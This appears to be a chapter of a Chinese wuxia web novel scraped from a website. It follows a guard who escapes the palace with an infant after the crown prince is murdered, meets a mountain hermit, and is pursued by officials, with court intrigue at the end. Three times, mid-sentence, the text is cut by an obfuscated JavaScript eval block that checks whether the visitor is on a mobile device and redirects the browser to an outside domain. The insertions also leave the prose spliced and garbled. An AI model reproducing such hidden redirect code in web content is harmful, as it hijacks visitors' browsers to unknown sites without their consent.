顷刻,但见他满面红润,神光大发,如不坏金刚之身,功毕,又一个箭步跃上墙头,眨眼之间,那神鹰怪叫着,已风弛电擎般扑来。 沐灏天腾空一跃,双掌撑住墙体,身子悬空打横,像猴儿一般收缩双腿,待那黑影刚到,便猛地一弹,双腿就像两把长剑直戮神鹰。 神鹰头部被猛地一击,似受了千斤之力,怪叫一声,侧身一栽,同时又一旋而上,翅膀猛地一拍,竟将沐灏天拍得站立不住,打个趔趄。 沐灏天趁机抓住神鹰脖子,用拳头猛击它的头顶,神鹰怪叫一声,猛摇双翅,腾空而起,于是沐灏天便与神鹰在空中扭打起来。 突然,神鹰收敛双翅,一个下坠,沐灏天没料着,只觉身子一沉,心里一空,还未回过神来,那鹰爪又在他手臂上一抓,他疼痛无比,手一松,背上的襁褓也掉下去;他大叫一声,伸手一把抓住襁褓,来个背摔,护住了襁褓。 神鹰也随之扑下,站在了襁褓旁边,襁褓就距离沐灏天的手一尺远,但他不敢动弹,紧张地盯着神鹰。 这时天已大亮,一束朝阳映照在襁褓婴儿的脸上,婴儿这时竟微睁细眼,微眯的双眸映照出神鹰的影子,但婴儿一点不怕,反而露出一丝微笑的表情。 此时此刻,神鹰看上去也没那么凶悍了,它的头摆了摆,啄了啄胸毛,然后身子一跃,竟然离开襁褓,扑腾飞上宫墙,消失在远方。 沐灏天几乎不敢相信自己的眼睛,他纳闷地望着远去的神鹰,然后又抱起婴孩注视着,女孩儿仍在微笑,于是他紧张的表情慢慢舒缓,这才重新背起襁褓,跃上墙头,朝另外一处宫墙飞奔而去。 到了祥和殿,沐灏天跃上宫墙,朝太阳升起的方向望去,忽然有个硕大的暗影遮住了朝阳,暗影处发出一声巨吼。 沐灏天心里不由暗暗叫苦,说时迟那时快,那团灰影就一闪而来,循声望去,这也是皇帝叶成武从野灵山带回宫中的另一只灰色老猿,平时不见它身影,这时却在宫墙上连跳带攀,动作异常敏捷,一晃就到了面前。 沐灏天一见,嗖地一蹿,跳将到墙边一株树上,脚未落地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沐灏天四周探望,见远处似有一队羽林军巡查过来,他虽认识他们,但目前情况复杂,他不敢怠慢,于是悄悄避开他们,迅速跃出皇宫…… 接着,但见这位武功高强的沐灏天,在京城的街道或急速穿行,或跃上房顶翻越过去,人们都惊悚地指着房顶说:“快看,那黑影是什么,莫非是妖?……” 沐灏天唰地飞过,很快进入一巷,回到自己的家,推开院门进去。李媚儿正在家里练功,见他背着个襁褓回来,身上衣衫被撕烂,连忙紧张地问:“这孩子是?……出了何事?” 沐灏天急切地说:“一会细说,现在你赶紧收拾东西跟我走,路上再与你讲,京城不宜久留,我去牵马,快点……” 这个媚儿,与一般女子不同,敏锐而干练,平时也最喜习武,一看装束打扮也是个侠女之类的非凡人物,她不再多问,立马收拾简单行装,与沐灏天各骑一匹骏马,哒哒哒直朝城门方向冲去。 城门已经洞开,那里的守卫见有人骑马飞驰而来,立刻举起兵器要挡道检查,沐灏天并不减速,举起一个腰牌高声喊道:“羽林军指挥使,太子遇刺,捉拿凶犯,闲人散开!……” 城门几个守卫一听,还在犹豫,背着襁褓的沐灏天与媚儿已经策马扬鞭,哒哒哒哒地冲出了城门。 有个守卫叫徐三的躲闪不及,跌倒在地,他爬起来仔细一看背影,恰好认出了沐灏天,忙对旁边其他守卫说:“咦,这不是东宫那位武功超群的带刀侍卫吗?幸好没硬拦,不然吃他一刀,一只耳朵就没了……” 旁边有个守卫呆呆望着远去的沐灏天两人,说道:“我听到他高喊一声太子遇刺?徐三,你快快去禀报校尉,如果是真的,说不准就要传令封城门了……” 那个跌倒的守卫徐三一听,拔腿就朝城门上跑,边跑边高喊:“徐校尉,徐校尉……” 徐三口中的徐校尉,正是他大哥徐大中,自从徐大中把徐三弄来吃军中饷银后,他就把城下守卫诸多事务交给徐三负责,自己就轻松多了,一般时候都躲在城楼上吃酒喝茶哼小曲什么的,从此过上了舒适安逸的生活…… 4. 捕快追踪,途遇高人 此时,正在喝早茶的他,一听外面徐三那个气喘吁吁的惊呼声,异常敏感的他又觉得生活不那么舒适安逸了,直觉告诉自己:恐有麻烦事找上门来! 他连忙起身,从门里出来,差点与徐三撞个满怀,忙问:“你个死人徐三,瞧你慌慌张张地作甚?” “大哥,”守卫徐三小声禀报道,“刚……刚才,有个宫中侍卫带着个女侠一同骑马出城,男的自称羽林军指挥使,又称皇太子遇刺,他奉命捉拿凶手,可是我们有人认出他是太子门下,即那个武功高手沐灏天……” “什么,太子遇刺?”这徐校尉一听,睁大了眼睛,想想又忙说,“你快去把刚才守城门的那几个叫上来,快!” 少顷,几个守卫跑上城楼,围住徐校尉,望着他问道:“徐大人,何事?” “听着,”徐校尉的眼珠子滴溜溜地乱转着,“刚才跑出城门的那个宫中侍卫,这里谁也没人看见,就当什么事都没发生过,谁敢乱说,那是要掉脑袋的!” 众守卫面面相觑,也不敢多问,只鸡啄米似地点着头。 等到众守卫离去,徐三才小心翼翼问道:“大哥,你觉得这事有跷蹊?” 徐校尉挥挥手:“你也别问了,叮嘱那几个把嘴闭紧点,马上就会有消息了,说不定周大人都会亲自来……” 徐三琢磨一下,脱口说:“你是说典签帅周攸元周大人?” “不是他会是谁?”徐校尉环顾四周说,“那是个恶魔!” …… 典签司里,典签帅周攸元正在命令手下:“快快快,把人集合起来……” “是,大人!”典签副帅艾元连忙下去招呼,“周大人有令,快快结合……” 一会儿,全身披挂的捕快和暗探就涌出来,排成了几排,周攸元用凌厉的目光扫视着他们,沉声说道:“朝廷有令,不惜一切抓捕太子身边的侍卫沐灏天,大家赶紧准备,牵上马匹,立即出发!” “是!”众武士齐声说。 一会,在周攸元的亲自带领下,一行全身披挂的人马风驰电闪地朝西边奔去,到了城门时,早接到禀报的徐校尉已经亲自守在那里,一见周攸元,连忙上前拱手一拜,说道:“卑职徐大中,见过典签帅周大人!” “哦?徐校尉……”周攸元环视一下四周,问道,“之前这里有人骑马出城门吗?” 徐校尉不敢直视周攸元的眼睛,盯着自己脚尖说:“有。” 周攸元精神一振,连忙瞪大眼睛问:“什么人?几人?男的还是女的?” “去魏国的商队,有骑马的,有驾驶马车的……” 周攸元眼里的精光慢慢黯淡,但仍不死心地问:“还有其他骑马经过这里的人吗,譬如武士装束的练家子,身上还挂着婴儿襁褓的?” “婴儿襁褓?”徐校尉把头摇得像拨浪鼓一般,“没有没有,没见过这样的人……” 周攸元在悒国典签司里,是个出了名的狠人,不知有多少硬汉都死在他手里,连朝廷中那些文武百官都有些怕他,对他敬而远之。 此刻,他满脸铁青,目光阴沉,扫了徐大中一眼,并不吭声,只对身边的典签副帅艾元瞟了一眼,艾元立即心领神会,对徐大中等守卫大声命令道:“皇太子遇害,立刻封城门,宫中侍卫沐灏天有重大嫌疑,发现此人立刻禀报……” 徐校尉一听,脑袋“嗡”了一声,双手紧张地抓紧了自己的盔甲,不由斜眼去瞟那些守卫,发现守卫也正在偷偷看他,他一激灵,忽然大声说:“是,遵命!” 由于声音太大,马匹上的周攸元不由瞟了他一眼,然后用马鞭指着他说:“你,走近前来。” 徐校尉心里紧张得不行,他唯唯诺诺地走近前来,对周攸元拱手道:“卑职一切听从周大人吩咐。” 周攸元瞟着他,问道:“见过那个宫中侍卫吗,背着个襁褓?” “没……没有,真的没有。”徐大中忙说。 周攸元又将目光转向其他守卫,那几个守卫也连忙摇头,他还想问什么,这时身边的副帅艾元对他悄悄耳语道:“沐灏天怎么会走城门,他可是个武功高手,说不定早就从城头上飞出去了,我们不能在此耽搁……” 周攸元略一沉思,又看了徐校尉与其他守卫一眼,不死心地把手往城外方向一挥,大声命令道:“继续追!驾!”说着率队往城门外冲去。 待周攸元一走,徐校尉这才松了口气,擦了擦额头上的细汗,任然后招呼其他守卫立即封城门,开始严查过往行人。 …… 在通往魏国方向的官道上,背着襁褓的沐灏天与媚儿策马扬鞭,飞快驰骋,路上沐灏天开始断断续续地将太子妃产子、太子叶坤遇刺、以及他拼命抢出襁褓婴儿一事,告诉了李媚儿。 旁边马匹上的媚儿一听,如五雷轰顶,眼泪就忍不住簌簌地流了下来,她紧抓缰绳哽咽地问道:“那……姐姐怎么办,她还在宫里?” 沐灏天没有应声,也无法回答,但在媚儿一再询问下,他避不开,良久才叹口气说:“她不能走,也走不了,但这婴儿必须抱走……” 媚儿擦着眼泪又继续问道:“我们现在去哪?” “驾!”沐灏天策马扬鞭,加快步伐,良久才说:“这悒国是不能呆了,暂去我老家魏国躲避,那里没人知道我们行踪……” “驾!”媚儿也紧跟上去,继续问,“凶手会是谁,你知道吗?” 沐灏天摇头说:“这个还不知,我只知道太子的死肯定是个大阴谋,患了绝症的陛下也命不久矣,二皇子定会继承储君之位,作为太子一党,我们都凶多吉少,悒国从此乱象,必不安宁……” 第二天来到一岔路口,马已疲乏不堪,沐灏天停止前行,说:“不能再走官道,左面是古楼峰方向,我们绕道越过那里去蜀地魏国……” 媚儿一惊,道:“听说那是与蜀地交界的昆仑之丘了,那一带多瘴气,已无人烟,连蟊贼都不敢贸然前去,十分危险!” 沐灏天道:“对我们来说,越是危险的地方,其实越是安全。” 媚儿迟疑一下,只好点点头。 于是两人准备弃了马匹,于是在马屁股上猛地一拍,那马就往旁边密林里跑了,他们这才折道上山。 谁知那两匹马跑了一小圈,又返回原地,在那里老实呆着,低头啃草,原来那地有一片肥沃青草,正是好饲料…… 沐灏天全然不知,与媚儿翻上一道山脊,在一株大树下歇息吃干粮,媚儿还用路途中讨来的米浆喂那婴孩,一边喂一边端详这女婴,觉得甚是可怜,不禁又是泪水涟涟。 沐灏天回头望着她,慢慢地眼睛也有些湿润,但他很快回过神来,忙擦擦泪痕,低声说道:“我们走吧,别让他们嗅出味儿……” 接着出发,前面出现两座奇异山峰,似从地下突然冒出,山峰挺拔,岩壁陡峭,壁缝里长满古藤,两个峰峦朝里倾斜,顶端处竟合在一起,好似一个巨形“人”字。 爬上去,却不见了路,竟是悬崖峭壁,峭壁右面,陡峭如刀,下面是百丈深渊,灰色雾气从深渊处升腾而起。 沐灏天与媚儿双目对视,点点头,然后二人开始运气,刹间体内玄元始所化之真气澎湃翻涌,于是轻盈的身子如苍鹰振翅,呼地一腾,已凌空直上十丈。 双脚刚一触岩壁,又脚点流星,壁虎般呼呼往上飞蹿,一口气连升二十丈,到了顶端。举头一看,又傻了眼,原来此并非顶端,又一个陡壁直插云天,高不可攀! 四周的瘴气开始弥漫,他们正在为难,却见右侧两丈之外有个山洞,洞口如虎口大张,沐灏天道:“若是常人,没有此番飞檐走壁功夫,怎能寻着这鬼也不来的地方?我们先进去看看……” 两人遂跳进洞内,双脚刚落地,浑身却又起了鸡皮疙瘩,沐灏天叫道:“咦,才道鬼都不来,立刻又见了鬼……” 原来,洞内横着几副骷髅,白骨铮铮,门牙暴裂,煞是吓人!媚儿道:“这洞口何以有几副尸骨挡道?莫不是那些采药之人丧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885041|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命于此?恐怕不然,此洞四处无路,上下均是绝壁,常人绝不会到此!……” 此洞也不知有多深,愈朝里钻,洞子愈黑,一股股冷浸浸的雾气迎面扑来,雾气里隐约闪现两盏黄莹莹的灯光,朝灯光处去,忽见那两盏灯后面又左右各闪出两盏,紧接着无数盏灯闪出,排成长长一溜。 正欲细看那灯,洞内忽地雷鸣般轰然作响,那些灯盏抖索乱摇,奇异怪状,聆耳再细听,却是一群怪笑。 片刻,笑声停息,洞内回荡着嗡嗡之声,其中一宏亮古怪之声轰然响起:“呸,何人如此大胆,敢闯进我骷髅洞!”声调尾后拖得凄凉惨然,世间绝然无有。 沐灏天一听,道:“你是何怪物?为何这般出言不逊?” 那怪物轰轰一笑,道:“我乃鬼魅!” 沐灏天一惊:“鬼魅?” 怪物道:“圣人善德,君子恭礼,我乃鬼魅,故而出言不逊。” 沐灏天对身边的媚儿悄悄说:“这蜀地山野多瘴气,易出鬼魅幻象,这恐怕就是幻象,你我需守住元神!” 于是二人打横而坐,双手丹田抱珠,口中念念有词,顿时体内真气涌荡,呼地溢漫体外,金刚铁壁般罩住了自己。 瘴气袭来,与真气一击,发出尖锐啸声,顿时光华大作,映亮洞窟,但见周遭那些鬼魅张牙舞爪,千奇百怪。 沐灏天与媚儿杂念不生,定力不乱,合掌而步,双脚左右横直,互相承接丁字形,同时口中念:“大道心法,无为而为;步罡踏斗,拘魔降鬼。急急如律令……”遂将双掌一摊,只听咣地一声,众鬼魅被弹出三丈,幻化为无。 再睁开眼睛,瘴气消散,眼前山洞已经不见,但见四周松柏葱郁,阳光明媚,清溪潺潺,鸟语花香,景致优美静谧。 忽见一块巨石,巨石旁边有些红花点缀,巨石上部有“灵霄洞”三字,这时那石门缓缓移开,现出宽敞洞口。 沐灏天携着媚儿的衣袖跳进洞,里面渐渐开阔,犹如广厦华殿,沿壁石乳倒悬,如琉璃 宝玉,熠熠闪辉。正奇怪着,忽听一清越声音喝道:“来者何人,竟敢闯我灵霄圣地?” 话音刚落,一道白影不知从何处闪来,稳稳立在沐灏天面前,沐灏天定睛一看,却是个穿白袍道人模样的少年,外表看不出实际年龄,长得眉清目秀,灵气四溢,头挽丫髻,手执如意,颇有仙道风范。 沐灏天慢慢将这位白袍少年打量一番,然后问道:“敢问小侄,你是何人?为何呆在此洞?这里四处不见人烟,莫非你就是传说中的隐者?” 白袍少年模样的人也在打量着沐灏天,没有回答。 沐灏天见状,又继续问道:“我曾听说东海郯人徐则在附近不远的蜀地天台山做隐士,苦练辟谷术,以此修心养性,从而渴望得道成仙……难道小侄你就是徐则本人?” 白袍少年嗤笑一下,不屑地喝道:“谁是你小侄?是我在问你,快快报上姓名,若是歹人……别怪我手中这把如意。” 沐灏天有心试他那如意有多大法力,便道:“小侄,你别唬我,我看你手里的那根破棍儿,只可吓唬蚊蝇罢了!” 白袍少年冷笑一声,遂将手中的如意一挥,只见白光一闪,一股强大功力竟直逼沐灏天,把他逼至背后岩壁;沐灏天心念一至,真气顿与那如意神功相击,只听咣地一声,那白袍少年也被撞退两步。 “玄元始三炁化生?”白袍少年定睛再看沐灏天,似乎在琢磨来者究竟是何人,又掉头瞥瞥一旁的年轻女子媚儿,尤其是她后背襁褓里的那个女婴,不像是什么歹人,于是缓了缓,收了招式。 沐灏天见状,也微微一笑,收了招式,道:“不比了不比了,我们只是路经此地,想讨口水喝……” 白袍少年正要说什么,忽然像听到什么声音,忙说:“师尊来了!” “哦?师尊?”沐灏天一听,立即明白,原来这里还藏有个隐世高人,心里惊讶,连忙转过身子,眼睛看过去。 …… 5. 布道结缘,追捕扑空 据古籍载,建启三十二年六月初,蜀地昆仑山脉段古楼峰中部一带,忽然出现神妙景观,先是山峰之上彩云四起,像朵朵巨莲升上空中,接着红光一现,映红白云顶端。 白云深处,似有一位白袍仙尊倏忽显现,御风而行,有士人见了,提笔赞道:“昆仑山有仙人居之,白袍若膏雪,气貌若处子,不食烟火,餐风饮露,骑神虎乘彩云而翱翔之……” 此时,白袍少年话刚落音,在那洞外,果然有一老者在白云深处时隐时现,御风前来,一看就知道行很深。他龙颜白髯,面堂红润,印堂发光,白袍广袖,御风飘逸,一副仙风道骨模样。 老者手里还托着一朵洁白的莲花,好似驾着云雾缓缓而下,手中莲花甚是奇妙,花瓣张开八片,内中花苞隐隐透现红光,一看即知是世间罕见的珍奇之物。 他落到洞口,见到沐灏天和背着襁褓的媚儿,便掉头望向白袍少年,道:“这二位是?……” 白袍少年上前一拜:“师尊,他们称路经此地迷了路,想讨口水喝……” 老者呵呵一笑:“一般人怎么能来此地,想必二人有绝世功夫,才能闯过蜀地山里瘴气?” 沐灏天还未回答,白袍少年又对他说:“这就是我师父,人称氼影尊者,还不快快拜见尊者!” 沐灏天见这个鹤发银髯的氼影尊者,一身星冠道袍、长髯飘飘,神情慈祥而不乏威严,眼目微眯而不乏神光,语音柔和而不乏宏亮,一看即知是来历不凡的隐世高人,连忙上前恭礼:“拜见前辈,后生沐灏天有礼了。” 一旁的媚儿也上前施了个礼。 氼影尊者注视着沐灏天,沐灏天也打量着这位老者,慢慢地,老者的目光转向一旁的媚儿,以及她背上的襁褓,神情柔和慈祥。 “你们既然能够来到这里,即是有缘,想必也是修行习武中人?”氼影尊者说,然后又用手指指襁褓里的婴儿,问,“这……可是你们的孩子?” 沐灏天与媚儿互看一眼,然后沐灏天含糊地说:“呵呵,是……是我们的孩子……” 氼影尊者见他闪烁其词,一看就知身上是有故事的人,于是微微一笑,慢慢询问道:“你们既然已来到此处,有何难处,不妨说说?” 沐灏天犹豫起来,不知该从何说起,便小心翼翼地问:“这位尊者,我们是从悒国而来,准备去魏国,路经这里迷了路……对了,老人家可知悒国?” 氼影尊者把髯一笑,道:“悒国怎么了,为何这样问?知又怎样,不知又怎样,难道这孩子的背后真有什么惊天之事?” 沐灏天看得出这老者是百年难遇的修行高人,不过这件事牵涉到很多秘密,他不能轻易向人透露,于是犹犹豫豫起来,慢吞吞地说道:“这……这件事太复杂,我……不瞒尊者,我乃悒国……悒国皇宫中的……” “皇宫?”氼影尊者一听“皇宫”二字,便用手止住了沐灏天的话,不让他再继续说下去,似乎已了然于心,“老夫理解,也不想介入那些宫廷纷争,你若不想说也别说了……”他想起多年前曾见悒国皇帝叶成武的那个情景,不由叹了口气。 沐灏天一下愣住,反倒不知该说什么好:“这……” 氼影尊者见状,便将话题绕开道:“瞧,这小女孩儿长得眉清目秀,真的很乖……”说着从媚儿手中接过襁褓,抱到自己怀里,不料,襁褓里的婴儿这时对着老者咧嘴微笑起来,让老人瞧着好生欢喜。 “此子可塑!”氼影老人一下喜不自胜,注视着婴孩不停地点头,略一思忖,忽然又说,“这孩子颇有灵性,倘若你们愿意,等这孩儿长大一些,可否带她上山,让我教她一些东西,她先天聪慧,定是可造之材……” 沐灏天一听,与媚儿对视一眼,见媚儿有微笑表情,于是连忙叩谢:“氼影尊者如此抬爱,我在这里先替孩子谢谢你了!” 氼影老人摆摆手,说:“实话告诉你们吧,以前老夫就曾得到昆仑山一秘笈,上面记载某年某月,有对年轻男女要来此古楼峰结缘……我有些不解,现在看来果真如此,真乃玄妙矣!” 沐灏天和媚儿听得如坠五里云雾,不知这氼影说的是否真的,氼影老人见他们半信半疑,便对沐灏天说:“让他们在此暂时等候,你一人随我来吧……”话音刚落,身形一晃,已不见人影,定睛再细看,他的身影已晃至绝壁上面一个洞口处。 沐灏天不由赞道:“好身手!”随即跟去,然后也纵身一跳,凌空二十丈高,脚刚触着岩壁,又脚点流星,嗖嗖往上直蹿,眨眼间就蹿上了那洞口。 刚进洞,身后轰隆一声巨响,石门已关上,洞里顿时黑得伸手不见五指。沐灏天正在发愣,忽见洞壁两边烛光齐明,两排星灯棍一般笔直至洞内极深处,顿时,高处宽大的洞顶上无数灯盏骤亮,好像夜空中星星点点的群星一般。 氼影尊者又道:“随我来吧!”轻喝一声,一把抓住他的胳膊,轻轻一提,他竟站不住脚,双脚离开地面,与老者一起朝洞的深处腾飞去。 他们愈飞愈快,只见四周群灯嗖嗖而退,两耳呼呼有声,恍忽间,沐灏天觉得这哪是什么山洞,而像是在群星簇簇的太空中飞翔,在茫茫的天宇中穿梭,领略着无穷星空的奥秘。 眨眼间,他们又来到一个又高又大的洞厅,壁顶像一个巨大的天体,上面无数星灯错落有致,洞壁四周也布满了星灯,使人如同置身于茫茫宇宙中。 这时,氼影尊者声如洪钟地说:“这是昆仑山的另一本占星秘笈,一幅完整无遗的天体图,这错落有致的星灯,正是天上那些星宿的位置。” 沐灏天好不惊讶,氼影尊者又说:“无始以来,此有山岳,宣泄其气,此气精华聚而成星。故而,星体生于地,精成于天,列居错峙,各有所属。” 沐灏天不由惊奇地问道:“尊者是说,大地之精气在天形成星,众多星宿在天交错分布,散落对峙,其实都各有所属,与地域及人事保持着密切的关系?” 氼影老人点点头,又说:“紫宫为皇极之居,其他各有方位,此等星宿,在野拟物,在朝拟宫,在人拟事,各有征兆,疏而不漏矣!” 沐灏天不由得向老人拱手拜道:“尊者真乃高妙,不出户知天下事,我沐灏天今天大开眼界了!” 氼影尊者瞟他一眼,微微笑道:“看你等也是修行之人,你且随我静坐一会,再看此景此状又如何?” 沐灏天按照氼影尊者吩咐双盘而坐,双手抚膝,双目微闭,在尊者的引导下呼吸吐纳,随意而为……渐渐地额前有亮点闪动,随即天眼打开,崖前景物尽收眼底。 云海开始发生奇怪变化,渐渐膨胀,形成一道长而宽的雾墙,内有东西流动,影影绰绰似有景物出现。 那景象若明若暗地显现了,有山岭,有楼宇,有车马,有人影,飘飘忽忽,虚虚实实,似梦非梦,变化不定。 那幻景初似绮丽,如国画山水长卷,突起风云变化,一排排险恶山峰峥嵘而出;片刻群山崩溃,江海倒腾,楼宇坍塌,人仰车翻,人与物相互倾轧。 忽又有云烟滋生,飘飘荡荡,像一个手执蒲扇的什么人坐着,沐灏天正要细看,人又不见,一切又恍恍惚惚,影影绰绰…… 不知过了多久,沐灏天在朦朦胧胧中,忽觉得肩膀被人一推,于是清醒过来,睁开了眼睛,看到氼影老人正在推他,并说:“时辰不早,你也该收回来了……” 沐灏天回过神来,长长地吁了口气,赞叹道:“甚妙!甚妙!” 氼影尊者慢慢把髯,微微点头道:“我今让你体悟占星秘笈的运用,就是要让你相信,这襁褓中的孩子,的确与我有些师徒缘分,绝非虚言……” 沐灏天恍然大悟,点点头,然后拱手一拜,道:“是,感谢尊者提点,我定会牢记此话,今后等小女长大一点,我一定再来叨扰大师赐教。” 接下去,氼影尊者带着沐灏天又从洞内而下,回到原处,然后氼影尊者微笑着对媚儿点点头,道:“让你久等了……” 媚儿羞涩地摇摇头。 氼影尊者又抬头看看天色,道:“好吧,天色不早,你们是准备在这儿住一晚,还是要急着赶路?……” “哦,不,”沐灏天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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翌日,周攸元等人的马队到了悒魏两国的边境,边军将领吴锐率兵挡道,一见是周攸元,连忙拱手一拜:“哎呀呀,原来是典签帅周大人,周大人何事这么匆忙,怎么会来这里?” 周攸元略一沉思,斟酌着字眼说:“我奉二殿下之命,缉拿叛贼沐灏天,你们可看到他从这里经过?” 吴锐一惊,道:“哦?没看见他经过……对了,为何要缉拿他?他不是当今皇太子的红人吗?” 周攸元望着远处魏国的城楼说:“圣上驾崩,皇太子也薨逝,朝廷邸报很快就会到达这里。现在朝廷已暂由二皇子叶炫……这个……你等听着,二皇子叶炫有令,若发现此人,立刻捉拿,不得有误!” 吴锐等将士一听,彼此互看,不明就里,面面相觑,不知该说什么才好。 周攸元拨马率队往回走,副帅艾元小心翼翼地问:“大人,你听命于二皇子叶炫,那……三皇子叶真那边……” 一瞬间,空气就像凝固了一般,甚至听得见远处的小鸟啁啾。周攸元阴沉着脸瞪了他一眼,他连忙噤声住口。 停顿片刻,艾元又环顾四周说:“这沐灏天究竟去了哪?难道他耍了花招,又返回了京城?……不对啊,那孩子也不见了,这怎么藏得住?” 周攸元面无表情地说:“皇家之事自有命数,我等少去猜测,回去复命就是。” 回去的路上,有一岔路口,那边道路荒凉,周攸元忽将手一举,道:“停下!”然后自己下马,慢慢走去那条道,蹲下细看,并挥手让副帅艾元过去。 “这里似有马蹄印,沐灏天会不会从这条道过去了?”周攸元自言自语说。 副帅艾元望着这条道说:“不会吧,这条道这么荒僻,而且再过去不远就没路了,他们怎么可能去这里?” 周攸元望着道路远处,但见道路的确狭窄荒凉,于是问:“前面再走是何地?” 艾元说:“应该是昆仑山古楼峰方向,已是罕无人迹之地,且全是大山荒野,人和马匹都过不去的……” “这样,你带一队人马过去看看,”周攸元说,“这边我先走,在前面驿馆等你,你去看看有无可能发现沐灏天的踪迹,若发现异常,即刻探马来报。 艾元擦擦额头上的细汗,心里十分地不情愿,但不敢表露,只是双手抱拳道:“遵命!”然后带领一队人马疾驰而去。 6. 搜查皇宫,储君拟定 道路越来越荒凉了,到了一山崖拐角处,已没有了路,艾元只好下马观察,突然看到密林外的草地上有两匹马,于是命人牵了过来。 接着,他又发现左边依稀有小路,于是令两人守住马匹,自己带着人马循着小道往山上去。 扒上一道山梁,全部人马累得气喘吁吁,艾元手搭凉棚眺望远方,但见茫茫云海,山峦起伏,渺无人烟,鬼都没影。正在犹豫,忽听旁边军士指着远方惊恐地叫道:“啊呀,艾大人,不好,有老虎!” 艾元循着军士手指的方向看去,很远的另一道山梁那里,果然见到一只黄色大虫,正缓慢游走,大约是发现了这边有人,于是朝这边大吼一声,虎啸声震得树叶枝瑟瑟发抖,艾元等人吓得魂飞魄散,连忙转身就跑,连滚带爬跑下山。 到了驿馆,艾元汇报了情况,周攸元听了便去看马,仔细查验一番,突然说:“不对,这其中一匹应该是宫中御马!” 艾元一听,眼珠子一转,立即明白了,说:“沐灏天的?”停顿一下又自言自语,“难道他真的出了城门,现已逃进山里?另一人又是谁?” 周攸元阴沉着脸,半晌才说:“走,回去,将西门守城的那几个人抓起来审审,他们没说实话!” …… 悒国皇宫的紫晨殿内外,四处可见皇帝驾崩、太子薨逝后的“大殓成服”,那些白色丧服和旌旗在风中飘摇,天色灰暗,群鸦乱飞,神鹰飞来,乌鸦窜逃…… 紫晨殿内,不仅二皇子叶炫、三皇子叶真,连那些文武百官也穿着丧服,表情悲切,如丧考妣…… 这时,总管公公王智鹏拱手禀报:“殿下,典签帅周攸元到!” 叶炫一听,忙起身说:“快快宣他进殿。” 周攸元带领典签副帅艾元进殿,拱手禀报道:“启禀二殿下,微臣亲自率队,一路追赶搜寻,直追到边关也未见到沐灏天身影。” 叶炫这时已走下殿阶,双手扶住周攸元肩头,笑道:“周大人这趟辛苦了,辛苦了……” 周攸元忙说:“殿下,微臣不辛苦,这是微臣分内之事……” 叶炫刚一转身,周攸元就悄悄去看殿上的三皇子叶真,见叶真根本没朝这边瞧,于是将拱着的手放下,不料这时叶炫忽又转过身,用手指着他,道:“你是说,追到魏国边关,也没见到沐灏天的身影?” 周攸元忙又拱起手,道:“回殿下,是的。” “哦?”叶炫黑着脸说,“奇怪,怎么会没有他的踪迹?据线报,太子薨殂当日,西门城楼有守卫明明看到,有人自称羽林军指挥使的人从城门冲出,应该就是沐灏天本人啊!你一路可是仔细搜查了?” 周攸元的头“嗡”地一声,忙说:“西门的城门校尉是徐大中,他是这样禀报的,称未曾看到沐灏天,我已把他和另几个守卫带回典签司审问,应该很快就会有结果。” 朝堂上议论纷纷,刑部尚书吴光说:“殿下,冲出城门的那人若是沐灏天,他会自报家门吗?这不明摆着不是他本人吗?” “殿下,”这时,典签司的副帅赵一舟站出来说,“这件事可能有诈,微臣觉得其中复杂着呢。” 周攸元瞥了他一眼,不满地冷笑一下,又道:“殿下,边关守将吴锐也称,没有见他从边塞越境……我还派副帅艾元从另外一条道追踪过去,一直追到昆仑山古楼峰一带,那里人迹罕至,倒是发现了两匹马,还遇到了一只猛虎……” 叶炫一听,惊讶地说:“哦?快说,怎么回事?” 周攸元便转过头望向一旁的典签副帅艾元,艾元连忙拱手说:“回禀殿下,我们确实在古楼峰前山遇到了老虎,哎呀,好吓人,幸亏我们跑得快,否则……所以微臣认为,沐灏天应该不会从那里去人迹罕至的大山。” “我问的是那两匹马!”叶炫黑着脸诘问。 “是是,马,”艾元慌不择言,“我问了宫中的太仆寺,他们说其中有匹马正是御马厩的马……” “也即说,”叶炫慢吞吞地补上一句,“那马有可能就是沐灏天的?” “对对,极有可能!”艾元道。 旁边的周攸元一听,不由皱起眉头,暗骂道:“这个蠢货!” 果然,叶炫哈哈一笑,道:“这岂不是前后矛盾!你们典签司就是这样办案的吗?” 周攸元连忙上前说:“殿下,艾大人这几日奔波,过于劳顿,是有些语无伦次……不过,审讯结果即将出来,我们会给殿下一个交代的。” 叶炫黑着脸听完周攸元这番话,觉得自己暂不宜与这个外界盛传的“魔头”闹僵,还用得着他,于是按下心头之火,不再深究。 他重新走回殿上,扫视着朝堂说道:“太子遇刺,婴孩不见,看来这一切与沐灏天有关,大家说说,这沐灏天会带着婴孩藏匿于何处?” 文武百官面面相觑,都不吱声,唯有骠骑大将军郭尚武站出来,手一拱,大大咧咧地说:“去问问太子妃李慧儿,孩子的事不就知道了?” 叶炫说:“已派人问过话,可是她已疯了……” “疯了?”郭尚武瞪着眼睛,“真疯假疯?” “放肆!”这时,一旁坐着的三皇子叶真喝了一声,郭尚武便噤了声,退了下去。 三皇子叶真开始说话了,他叹了口气说:“唉,我这皇嫂作为一个女人,命真的是苦,夫君刚遇不幸,现在孩子又不见,这岂不是要了她的命?” 这时,相国吴国成瞅瞅叶炫,又瞅瞅叶真,站出来说:“两位殿下,依老夫之见,当务之急恐怕是要查找凶手这条线,究竟是谁对皇太子痛下杀手?” “要查,当然要查,”叶炫连忙说,“吴尚书,你们刑部有何线索?” 吴尚书拱手禀道:“回殿下,刑部正在严查……”他说,“不过……” 